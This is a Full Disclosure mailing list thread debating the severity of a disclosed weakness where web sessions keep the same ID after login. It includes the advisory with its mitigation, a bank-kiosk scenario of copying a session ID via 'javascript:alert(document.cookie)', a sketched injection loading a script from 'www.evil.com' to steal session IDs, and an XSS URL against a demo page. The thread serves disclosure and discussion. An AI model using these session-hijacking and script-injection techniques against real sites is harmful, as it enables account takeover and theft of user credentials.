Full Disclosure mailing list archives
Re: Predefined Post Authentication Session ID Vulnerability
From: Gokhan Muharremoglu <gokhan.muharremoglu () iosec org>
Date: Fri, 13 Jul 2012 16:47:32 +0300
Thank you for your interest. But you are not talking about "the vulnerability". Is this a vulnerability? YES So, end of the conversation. I appreciate your suggestions. I don't care about the scenarios or big fishes. This is a vulnerability and i am making it to public. I am using it in my penetration tests, and it works... Soon, you will see it in web vulnerability scanners. We will consider about vulnerability's severity of course but medium is acceptable i think. At least you are talking about technical stuff and lead us to a brainstrom. That's nice, thanks... Gokhan Muharremoglu -----Original Message----- From: Gage Bystrom [mailto:themadichib0d () gmail com] Sent: Friday, July 13, 2012 2:57 PM To: Gokhan Muharremoglu; full-disclosure () lists grok org uk Subject: Re: [Full-disclosure] Predefined Post Authentication Session ID Vulnerability Exactly, a niche scenario. I never said it /wasn't/ a vulnerability, only that it doesn't warrant the severity you claim. Also again, a situation where there are better things for an attack to do. Yes you could do that to grab the session id, or whats stopping you from writing "javascript;document.write('<script type="text/javascript" src="www.evil.com/evil.js"></script>)? Presumably evil.js doing all sorts of nasty such as grabbing the session id and storing it remotely. Yes I'm aware you claimed policies are in place, but I'm curious if that approach was tried. Or better yet, why not just load an iframe of the site's app itself? Theres all sorts of known nasties you can do with iframes, why not intercept all the the requests to the iframe(wiping out the main page with more js so things are transparent) and then store the stolen values of logins to a cookie? Screw the session id, you can get full logins that way. All you would need to do is swing by and do your "javascript;alert(document.cookie);" to fetch the results. Also I'm no expert in javascript or heck even in web applications. That was just my first idea from a very basic knowledge, therefore we can assume that any remotely dedicated attacker can probably come up with an even cleaner solution, but the point still stands: If you are worried about this vulnerability, you have bigger issues, ergo why are you even worried? To me it'd be a lot like worrying if you are salting your passwords stored in a database properly when you are only xoring them. Yeah sure good salts are important to consider in isolation, but in that case you have bigger fish to fry. In this situation the bigger fish to fry is 'the attacker can run arbitrary js on the victim's side'. As to the xss, that just illustrates my smaller point that your PoC is extremely vague. I only figured it out while I was typing my original email, and that was going off my own testing and ignoring your instructions which were only misleading me. Judging by some of the other responses here, I'd be hesitant to say I was the only one. Might wanna think about whats the common denominator here. On Fri, Jul 13, 2012 at 4:23 AM, Gokhan Muharremoglu <gokhan.muharremoglu () iosec org> wrote:
Ok. It seems i have to explain this vulnerability's effects with another scenario. This is a real life scenario and i wrote it in a Turkish article for National Information Security Portal which is run by TUBITAK. Article in Turkish with scenario => http://www.iosec.org/oturum_oncesi_tanimli_cerez.pdf I will explain it in English now. There are KIOSK/Terminal machines at bank branches in Turkey. Customers can reach to the regular Internet banking applicaton from here. But these machines are restricted with policies and you can not view any other web site or close browser page. But you can type in to the address bar. All you can do is to enter bank's internet web application. Here is the scenario (taken from real life): 1. Type "javascript:alert(document.cookie)" to the address bar and copy all information including Session ID. 2. Wait for a victim who logs in to the KIOSK. 3. After he/she logins, use your copied Session ID to login as him/her. In this scenario; There was no same-origin restrction, There was no httpOnly cookie tag. Always remember "A chain is only as strong as its weakest link". This is a vulnerability, it's attacker's and conditions' decision how to use
it.
You can use wider vision to consider about real life scenarios. Gokhan Muharremoglu -----Original Message----- From: Gage Bystrom [mailto:themadichib0d () gmail com] Sent: Friday, July 13, 2012 1:40 PM To: Gokhan Muharremoglu; full-disclosure () lists grok org uk Subject: Re: [Full-disclosure] Predefined Post Authentication Session ID Vulnerability Ok after playing around and re-reading the advisory I was finally able to get the PoC to work. While it is interesting once your actually see it work I simply do not believe it warrants the severity you have described. The man reason why I say this is because any attacker in a position to modify a victim's session id is simply in a position to do better things. Why go through the niche roundabout way when you can just simply jack the authenticated session ID? The only conceivable scenario I can think of would be in the case of a stored XSS that isn't present after authentication, in which case stealing the session ID before hand would be a much better avenue and more in line with what you are trying to warn about(maybe you should make the PoC reflect that to better illustrate your point). Even then we are talking about a really niche attack. Basically this sounds like a classic example of: "Yes, technically this is abusable, but if you are worried about this, you have bigger problems to deal with." Speaking of xss your vuln page has one: http://www.iosec.org/iosec_login_vulnerable.php?user=%3Cscript%3Ealert %28%22 Told%20ya%20so%22%29%3C/script%3E&failed=1 not to mention an arbitrary(even non-existent users) account change: http://www.iosec.org/iosec_login_vulnerable.php?user=admin ((after logging in, not that the result page is much)) Yeah, yeah I know it's meant to be vulnerable to begin with, but you should really make sure a PoC vulnerable page is only vulnerable to what you are trying to demonstrate, otherwise it can be hard to identify if this is a serious issue or just an example of your personal screw ups, generally speaking at least. On Fri, Jul 13, 2012 at 1:46 AM, Gokhan Muharremoglu <gokhan.muharremoglu () iosec org> wrote:You can find an example page and combined vulnerabilities below URL. This example login page is affected by Predefined Post Authentication Session ID Vulnerability. This vulnerability can lead a social engineering scenario or other hijacking attack scenarios when mixed with other vulnerabilities (suchXSS).For proof of concept: http://www.iosec.org/iosec_login_vulnerable.php Predefined Post Authentication Session ID Vulnerability is a Vendor-neutral vulnerability and it let attackers to design new attackscenarios.A lot of web application on the Internet affected by this vulnerability. ----------------------- Vulnerability Name: Predefined Post Authentication Session ID Vulnerability Type: Improper Session Handling Impact: Session Hijacking Level: Medium Date: 10.07.2012 Vendor: Vendor-neutral Issuer: Gokhan Muharremoglu E-mail: gokhan.muharremoglu () iosec org VULNERABILITY If a web application starts a session and defines a session id before a user authenticated, this session id must be changed after a successful authentication. If web application uses the same session id before and after authentication, any legitimate user who has gained the "before authentication" session id can hijack future "after authentication" sessions too. MITIGATION To avoid this vulnerability, sessions must be regenerated after a successful login. In a session fixation attack, attacker fixates (sets) another person's (victim's) session identifier because of "never regenerated and validated" session id and this vulnerability can also lead to the Session Fixation attack or etc. Gokhan Muharremoglu Information Security Specialist (CEH, ECSA, CIW-Web Security Professional, Security+, EXIN 27002 ISFS) -----Original Message----- From: Jann Horn [mailto:jannhorn () googlemail com] Sent: Friday, July 13, 2012 2:06 AM To: Gokhan Muharremoglu Cc: full-disclosure () lists grok org uk Subject: Re: [Full-disclosure] Predefined Post Authentication Session ID Vulnerability On Wed, Jul 11, 2012 at 11:34:11AM +0300, Gokhan Muharremoglu wrote:Vulnerability Name: Predefined Post Authentication Session ID Vulnerability Type: Improper Session Handling Impact: Session Hijacking Level: Medium Date: 10.07.2012 Vendor: Vendor-neutral Issuer: Gokhan Muharremoglu E-mail: gokhan.muharremoglu () iosec org VULNERABILITY If a web application starts a session and defines a session id before a user authenticated, this session id must be changed after a successful authentication. If web application uses the same session id before and after authentication, any legitimate user who has gained the "before authentication" session id can hijack future "after authentication" sessions too.Uh, so, erm, you assume that someone can steal my cookie/set it/whatever although the Same Origin Policy should clearly not allow that, and then, after I have logged in, he can't just steal my cookie? Unless you allow setting the session-ID via an URL or so (which would IMO be pretty stupid), I can't see how this is a realistic, vendor-neutral attack. Could you explain this a bit better? I don't getit._______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Re: Predefined Post Authentication Session ID Vulnerability, (continued)
- Re: Predefined Post Authentication Session ID Vulnerability Gage Bystrom (Jul 13)
- Re: Predefined Post Authentication Session ID Vulnerability Tim (Jul 13)
- Re: Predefined Post Authentication Session ID Vulnerability Gage Bystrom (Jul 13)
- Re: Predefined Post Authentication Session ID Vulnerability Григорий Братислава (Jul 13)
- Re: Predefined Post Authentication Session ID Vulnerability Григорий Братислава (Jul 13)
- Re: Predefined Post Authentication Session ID Vulnerability Douglas Huff (Jul 16)
- Re: Predefined Post Authentication Session ID Vulnerability Douglas Huff (Jul 16)
- Re: Predefined Post Authentication Session ID Vulnerability Gage Bystrom (Jul 13)
- Re: Predefined Post Authentication Session ID Vulnerability Tim (Jul 13)
- Re: Predefined Post Authentication Session ID Vulnerability Douglas Huff (Jul 16)
- Re: Predefined Post Authentication Session ID Vulnerability Gokhan Muharremoglu (Jul 13)
- Re: Predefined Post Authentication Session ID Vulnerability Gökhan Muharremoglu (Jul 13)
- Re: Predefined Post Authentication Session ID Vulnerability Григорий Братислава (Jul 13)
- Message not available
- Re: Predefined Post Authentication Session ID Vulnerability Gokhan Muharremoglu (Jul 13)